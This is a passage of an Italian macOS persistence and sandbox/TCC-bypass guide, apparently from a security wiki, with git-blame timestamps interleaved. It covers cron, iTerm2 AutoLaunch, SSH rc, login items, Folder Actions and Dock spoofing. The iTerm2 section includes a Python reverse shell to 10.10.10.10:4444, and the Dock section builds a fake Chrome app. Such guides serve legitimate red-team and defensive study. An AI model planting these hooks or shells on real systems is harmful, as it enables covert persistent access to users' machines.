2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
# The one with the cron jobs is /usr/lib/cron/tabs/
2023-06-01 21:09:46 +00:00
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
2024-09-21 18:25:09 +00:00
Lì puoi trovare i **cron** **jobs** regolari, i **at** **jobs** (non molto usati) e i **periodic** **jobs** (principalmente usati per pulire i file temporanei). I lavori periodici giornalieri possono essere eseguiti, ad esempio, con: `periodic daily` .
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
Per aggiungere un **user cronjob programmaticamente** è possibile utilizzare:
2023-09-28 15:09:34 +00:00
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
2023-09-28 20:05:35 +00:00
### iTerm2
2023-09-28 15:09:34 +00:00
2024-07-17 18:34:34 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/ ](https://theevilbit.github.io/beyond/beyond\_0002/ )
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Bypass TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:09 +00:00
* iTerm2 aveva permessi TCC concessi
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Locations
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
2024-02-10 13:03:23 +00:00
* **Trigger**: Apri iTerm
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
2024-02-10 13:03:23 +00:00
* **Trigger**: Apri iTerm
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
2024-02-10 13:03:23 +00:00
* **Trigger**: Apri iTerm
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Description & Exploitation
2023-06-01 21:09:46 +00:00
2024-02-10 13:03:23 +00:00
Gli script memorizzati in ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch` ** verranno eseguiti. Ad esempio:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" < < EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
2024-09-21 18:25:09 +00:00
o:
2023-11-02 16:52:21 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" < < EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
2024-02-10 13:03:23 +00:00
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
2023-11-02 16:52:21 +00:00
iterm2.run_forever(main)
EOF
```
2024-09-21 18:25:09 +00:00
Lo script ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt` ** verrà eseguito anche:
2023-09-28 20:05:35 +00:00
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
2024-09-21 18:25:09 +00:00
Le preferenze di iTerm2 situate in ** `~/Library/Preferences/com.googlecode.iterm2.plist` ** possono **indicare un comando da eseguire** quando il terminale iTerm2 viene aperto.
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
Questa impostazione può essere configurata nelle impostazioni di iTerm2:
2023-09-28 20:05:35 +00:00
2024-05-05 22:09:41 +00:00
< figure > < img src = "../.gitbook/assets/image (37).png" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:42 +00:00
E il comando è riflesso nelle preferenze:
2023-09-28 20:05:35 +00:00
```bash
plutil -p com.googlecode.iterm2.plist
{
2024-02-10 13:03:23 +00:00
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
2023-09-28 15:09:34 +00:00
```
2024-02-10 13:03:23 +00:00
Puoi impostare il comando da eseguire con:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 15:09:34 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="warning" %}
2024-09-21 18:25:09 +00:00
È altamente probabile che ci siano **altri modi per abusare delle preferenze di iTerm2** per eseguire comandi arbitrari.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### xbar
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:42 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/ ](https://theevilbit.github.io/beyond/beyond\_0007/ )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 13:03:23 +00:00
* Ma xbar deve essere installato
* Bypass TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:09 +00:00
* Richiede permessi di Accessibilità
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application\ Support/xbar/plugins/`**
2024-09-21 18:25:09 +00:00
* **Attivazione**: Una volta eseguito xbar
2023-09-28 20:05:35 +00:00
2024-02-10 13:03:23 +00:00
#### Descrizione
2023-12-29 13:55:22 +00:00
2024-09-21 18:25:09 +00:00
Se il popolare programma [**xbar** ](https://github.com/matryer/xbar ) è installato, è possibile scrivere uno script shell in ** `~/Library/Application\ Support/xbar/plugins/` ** che verrà eseguito all'avvio di xbar:
2023-12-29 13:55:22 +00:00
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" < < EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
2023-09-28 20:05:35 +00:00
### Hammerspoon
2024-09-21 18:25:09 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/ ](https://theevilbit.github.io/beyond/beyond\_0008/ )
2023-09-28 20:05:35 +00:00
2024-07-17 18:34:34 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 13:03:23 +00:00
* Ma Hammerspoon deve essere installato
* Bypass TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:09 +00:00
* Richiede permessi di Accessibilità
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Location
2023-09-28 20:05:35 +00:00
* **`~/.hammerspoon/init.lua`**
2024-09-21 18:25:09 +00:00
* **Trigger**: Una volta eseguito hammerspoon
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Description
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
[**Hammerspoon** ](https://github.com/Hammerspoon/hammerspoon ) funge da piattaforma di automazione per **macOS** , sfruttando il **linguaggio di scripting LUA** per le sue operazioni. In particolare, supporta l'integrazione di codice AppleScript completo e l'esecuzione di script shell, migliorando significativamente le sue capacità di scripting.
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
L'app cerca un singolo file, `~/.hammerspoon/init.lua` , e quando avviata, lo script verrà eseguito.
2023-09-28 20:05:35 +00:00
```bash
2023-12-29 13:55:22 +00:00
mkdir -p "$HOME/.hammerspoon"
2023-09-28 20:05:35 +00:00
cat > "$HOME/.hammerspoon/init.lua" < < EOF
2023-12-29 13:55:22 +00:00
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
2023-09-28 20:05:35 +00:00
EOF
```
2024-02-13 00:50:42 +00:00
### BetterTouchTool
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Ma BetterTouchTool deve essere installato
* Bypass TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:09 +00:00
* Richiede permessi di Automazione-Scorciatoie e Accessibilità
2024-02-13 00:50:42 +00:00
#### Posizione
* `~/Library/Application Support/BetterTouchTool/*`
2024-09-21 18:25:09 +00:00
Questo strumento consente di indicare applicazioni o script da eseguire quando vengono premuti alcuni scorciatoie. Un attaccante potrebbe essere in grado di configurare il proprio **scorciatoia e azione da eseguire nel database** per far eseguire codice arbitrario (uno scorciatoia potrebbe essere semplicemente premere un tasto).
2024-02-13 00:50:42 +00:00
### Alfred
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Ma Alfred deve essere installato
* Bypass TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:09 +00:00
* Richiede permessi di Automazione, Accessibilità e persino accesso a Disco Completo
2024-02-13 00:50:42 +00:00
#### Posizione
* `???`
2024-09-21 18:25:09 +00:00
Consente di creare flussi di lavoro che possono eseguire codice quando vengono soddisfatte determinate condizioni. Potenzialmente è possibile per un attaccante creare un file di flusso di lavoro e far caricare ad Alfred (è necessario pagare la versione premium per utilizzare i flussi di lavoro).
2024-02-13 00:50:42 +00:00
2023-09-28 15:09:34 +00:00
### SSHRC
2024-07-17 18:34:34 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/ ](https://theevilbit.github.io/beyond/beyond\_0006/ )
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Ma ssh deve essere abilitato e utilizzato
* Bypass TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:09 +00:00
* L'uso di SSH richiede accesso FDA
2023-09-28 20:05:35 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 15:09:34 +00:00
* **`~/.ssh/rc`**
2024-09-21 18:25:09 +00:00
* **Attivatore**: Accesso tramite ssh
2023-09-28 15:09:34 +00:00
* **`/etc/ssh/sshrc`**
2024-09-21 18:25:09 +00:00
* Richiesta di root
* **Attivatore**: Accesso tramite ssh
2023-09-28 15:09:34 +00:00
2023-12-29 13:55:22 +00:00
{% hint style="danger" %}
2024-09-21 18:25:09 +00:00
Per attivare ssh è necessario l'accesso a Disco Completo:
2023-09-28 15:09:34 +00:00
```bash
2023-12-29 13:55:22 +00:00
sudo systemsetup -setremotelogin on
2023-09-28 15:09:34 +00:00
```
2023-12-29 13:55:22 +00:00
{% endhint %}
2024-09-21 18:25:09 +00:00
#### Descrizione e Sfruttamento
2023-12-29 13:55:22 +00:00
2024-09-21 18:25:09 +00:00
Per impostazione predefinita, a meno che `PermitUserRC no` in `/etc/ssh/sshd_config` , quando un utente **effettua il login via SSH** gli script ** `/etc/ssh/sshrc` ** e ** `~/.ssh/rc` ** verranno eseguiti.
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:42 +00:00
### **Elementi di Login**
2023-09-28 15:09:34 +00:00
2024-05-05 22:09:41 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/ ](https://theevilbit.github.io/beyond/beyond\_0003/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:50:42 +00:00
* Ma è necessario eseguire `osascript` con argomenti
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
#### Posizioni
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
2024-09-21 18:25:09 +00:00
* **Attivatore:** Login
* Payload di sfruttamento memorizzato chiamando ** `osascript` **
2023-09-28 20:05:35 +00:00
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
2024-09-21 18:25:09 +00:00
* **Attivatore:** Login
* Richiesta di root
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
#### Descrizione
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
In Preferenze di Sistema -> Utenti e Gruppi -> **Elementi di Login** puoi trovare **elementi da eseguire quando l'utente effettua il login** .\
È possibile elencarli, aggiungere e rimuovere dalla riga di comando:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
2024-02-10 13:03:23 +00:00
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
2023-09-28 20:05:35 +00:00
#Remove an item:
2024-02-10 13:03:23 +00:00
osascript -e 'tell application "System Events" to delete login item "itemname"'
2023-09-28 15:09:34 +00:00
```
2024-02-10 13:03:23 +00:00
Questi elementi sono memorizzati nel file ** `~/Library/Application Support/com.apple.backgroundtaskmanagementagent` **
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:42 +00:00
Gli **elementi di accesso** possono **anche** essere indicati utilizzando l'API [SMLoginItemSetEnabled ](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc ) che memorizzerà la configurazione in ** `/var/db/com.apple.xpc.launchd/loginitems.501.plist` **
2023-09-28 15:09:34 +00:00
2024-05-05 22:09:41 +00:00
### ZIP come elemento di accesso
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
(Controlla la sezione precedente sugli elementi di accesso, questa è un'estensione)
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Se memorizzi un file **ZIP** come **elemento di accesso** , l'**`Utility di archiviazione`** lo aprirà e se lo zip era, ad esempio, memorizzato in ** `~/Library` ** e conteneva la cartella ** `LaunchAgents/file.plist` ** con una backdoor, quella cartella verrà creata (non lo è per impostazione predefinita) e il plist verrà aggiunto in modo che la prossima volta che l'utente accede di nuovo, la **backdoor indicata nel plist verrà eseguita** .
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Un'altra opzione sarebbe creare i file ** `.bash_profile` ** e ** `.zshenv` ** all'interno della HOME dell'utente, quindi se la cartella LaunchAgents esiste già, questa tecnica funzionerebbe comunque.
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### At
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Scrittura: [https://theevilbit.github.io/beyond/beyond\_0014/ ](https://theevilbit.github.io/beyond/beyond\_0014/ )
2023-12-30 00:49:26 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Ma devi **eseguire** ** `at` ** e deve essere **abilitato**
2024-03-29 21:03:31 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Devi **eseguire** ** `at` ** e deve essere **abilitato**
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
#### **Descrizione**
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
I compiti `at` sono progettati per **programmare compiti una tantum** da eseguire in determinati momenti. A differenza dei cron job, i compiti `at` vengono automaticamente rimossi dopo l'esecuzione. È fondamentale notare che questi compiti sono persistenti attraverso i riavvii del sistema, contrassegnandoli come potenziali preoccupazioni di sicurezza in determinate condizioni.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Per **impostazione predefinita** sono **disabilitati** ma l'utente **root** può **abilitarli** con:
2023-09-28 20:05:35 +00:00
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
2024-02-10 13:03:23 +00:00
Questo creerà un file in 1 ora:
2023-09-28 20:05:35 +00:00
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
2024-09-21 18:25:09 +00:00
Controlla la coda dei lavori usando `atq:`
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
2024-09-21 18:25:09 +00:00
Sopra possiamo vedere due lavori programmati. Possiamo stampare i dettagli del lavoro usando `at -c JOBNUMBER`
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
2024-02-10 13:03:23 +00:00
echo 'Execution directory inaccessible' >& 2
exit 1
2023-09-28 20:05:35 +00:00
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
2024-09-21 18:25:09 +00:00
Se i compiti AT non sono abilitati, i compiti creati non verranno eseguiti.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-10 13:03:23 +00:00
I **file di lavoro** possono essere trovati in `/private/var/at/jobs/`
2023-09-28 20:05:35 +00:00
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
2024-09-21 18:25:09 +00:00
Il nome del file contiene la coda, il numero del lavoro e l'orario programmato per l'esecuzione. Ad esempio, diamo un'occhiata a `a0001a019bdcd2` .
2023-09-28 20:05:35 +00:00
2024-02-10 13:03:23 +00:00
* `a` - questa è la coda
* `0001a` - numero del lavoro in esadecimale, `0x1a = 26`
2024-09-21 18:25:09 +00:00
* `019bdcd2` - tempo in esadecimale. Rappresenta i minuti trascorsi dall'epoca. `0x019bdcd2` è `26991826` in decimale. Se lo moltiplichiamo per 60 otteniamo `1619509560` , che è `GMT: 27 aprile 2021, martedì 7:46:00` .
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
Se stampiamo il file del lavoro, scopriamo che contiene le stesse informazioni ottenute usando `at -c` .
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
### Azioni della cartella
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/ ](https://theevilbit.github.io/beyond/beyond\_0024/ )\
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d ](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Ma è necessario poter chiamare `osascript` con argomenti per contattare ** `System Events` ** per poter configurare le Azioni della cartella
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-29 21:03:31 +00:00
* Ha alcune autorizzazioni TCC di base come Desktop, Documenti e Download
2023-09-28 20:05:35 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/Library/Scripts/Folder Action Scripts`**
2024-09-21 18:25:09 +00:00
* Richiesta root
* **Attivazione**: Accesso alla cartella specificata
2023-09-28 20:05:35 +00:00
* **`~/Library/Scripts/Folder Action Scripts`**
2024-09-21 18:25:09 +00:00
* **Attivazione**: Accesso alla cartella specificata
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Descrizione e sfruttamento
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Le Azioni della cartella sono script attivati automaticamente da modifiche in una cartella, come l'aggiunta, la rimozione di elementi o altre azioni come l'apertura o il ridimensionamento della finestra della cartella. Queste azioni possono essere utilizzate per vari compiti e possono essere attivate in modi diversi, come utilizzando l'interfaccia Finder o comandi del terminale.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Per impostare le Azioni della cartella, hai opzioni come:
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
1. Creare un flusso di lavoro per le Azioni della cartella con [Automator ](https://support.apple.com/guide/automator/welcome/mac ) e installarlo come servizio.
2. Allegare uno script manualmente tramite la Configurazione delle Azioni della cartella nel menu contestuale di una cartella.
3. Utilizzare OSAScript per inviare messaggi Apple Event all'`System Events.app` per impostare programmaticamente un'Azioni della cartella.
2024-02-10 13:03:23 +00:00
* Questo metodo è particolarmente utile per incorporare l'azione nel sistema, offrendo un livello di persistenza.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Il seguente script è un esempio di ciò che può essere eseguito da un'Azioni della cartella:
2023-09-28 15:09:34 +00:00
```applescript
2024-02-07 04:06:18 +00:00
// source.js
2023-09-28 15:09:34 +00:00
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
2024-09-21 18:25:09 +00:00
Per rendere lo script sopra utilizzabile da Folder Actions, compilarlo utilizzando:
2024-02-07 04:06:18 +00:00
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
2024-09-21 18:25:09 +00:00
Dopo che lo script è stato compilato, imposta le Azioni della Cartella eseguendo lo script qui sotto. Questo script abiliterà le Azioni della Cartella globalmente e attaccherà specificamente lo script precedentemente compilato alla cartella Desktop.
2023-09-28 15:09:34 +00:00
```javascript
2024-02-07 04:06:18 +00:00
// Enabling and attaching Folder Action
2023-09-28 15:09:34 +00:00
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
2024-09-21 18:25:09 +00:00
Esegui lo script di configurazione con:
2024-02-07 04:06:18 +00:00
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
2024-09-21 18:25:09 +00:00
* Questo è il modo per implementare questa persistenza tramite GUI:
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
Questo è lo script che verrà eseguito:
2023-09-28 15:09:34 +00:00
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2024-02-10 13:03:23 +00:00
Compilalo con: `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
Spostalo in:
2023-09-28 15:09:34 +00:00
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
2024-09-21 18:25:09 +00:00
Poi, apri l'app `Folder Actions Setup` , seleziona la **cartella che desideri monitorare** e seleziona nel tuo caso ** `folder.scpt` ** (nel mio caso l'ho chiamata output2.scp):
2023-09-28 15:09:34 +00:00
2024-05-05 22:09:41 +00:00
< figure > < img src = "../.gitbook/assets/image (39).png" alt = "" width = "297" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Ora, se apri quella cartella con **Finder** , il tuo script verrà eseguito.
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
Questa configurazione è stata memorizzata nel **plist** situato in ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** in formato base64.
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:42 +00:00
Ora, proviamo a preparare questa persistenza senza accesso GUI:
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
1. **Copia `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in `/tmp` per eseguire il backup:
2024-02-10 13:03:23 +00:00
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2024-09-21 18:25:09 +00:00
2. **Rimuovi** le Azioni della Cartella che hai appena impostato:
2023-09-28 15:09:34 +00:00
2024-05-05 22:09:41 +00:00
< figure > < img src = "../.gitbook/assets/image (40).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
Ora che abbiamo un ambiente vuoto
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
3. Copia il file di backup: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
2024-09-21 18:25:09 +00:00
4. Apri Folder Actions Setup.app per consumare questa configurazione: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
2023-09-28 15:09:34 +00:00
{% hint style="danger" %}
2024-09-21 18:25:09 +00:00
E questo non ha funzionato per me, ma queste sono le istruzioni del documento:(
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-02-10 13:03:23 +00:00
### Scorciatoie Dock
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Documento: [https://theevilbit.github.io/beyond/beyond\_0027/ ](https://theevilbit.github.io/beyond/beyond\_0027/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Ma devi avere installato un'applicazione malevola all'interno del sistema
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 15:09:34 +00:00
* `~/Library/Preferences/com.apple.dock.plist`
2024-09-21 18:25:09 +00:00
* **Attivatore**: Quando l'utente clicca sull'app all'interno del dock
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Descrizione & Sfruttamento
2023-09-28 15:09:34 +00:00
2024-07-18 17:35:13 +00:00
Tutte le applicazioni che appaiono nel Dock sono specificate all'interno del plist: ** `~/Library/Preferences/com.apple.dock.plist` **
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
È possibile **aggiungere un'applicazione** semplicemente con:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /System/Applications/Books.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
# Restart Dock
killall Dock
```
{% endcode %}
2024-09-21 18:25:09 +00:00
Utilizzando un po' di **social engineering** potresti **fingere ad esempio Google Chrome** all'interno del dock ed eseguire effettivamente il tuo script:
2023-09-28 21:12:41 +00:00
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 13:03:23 +00:00
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
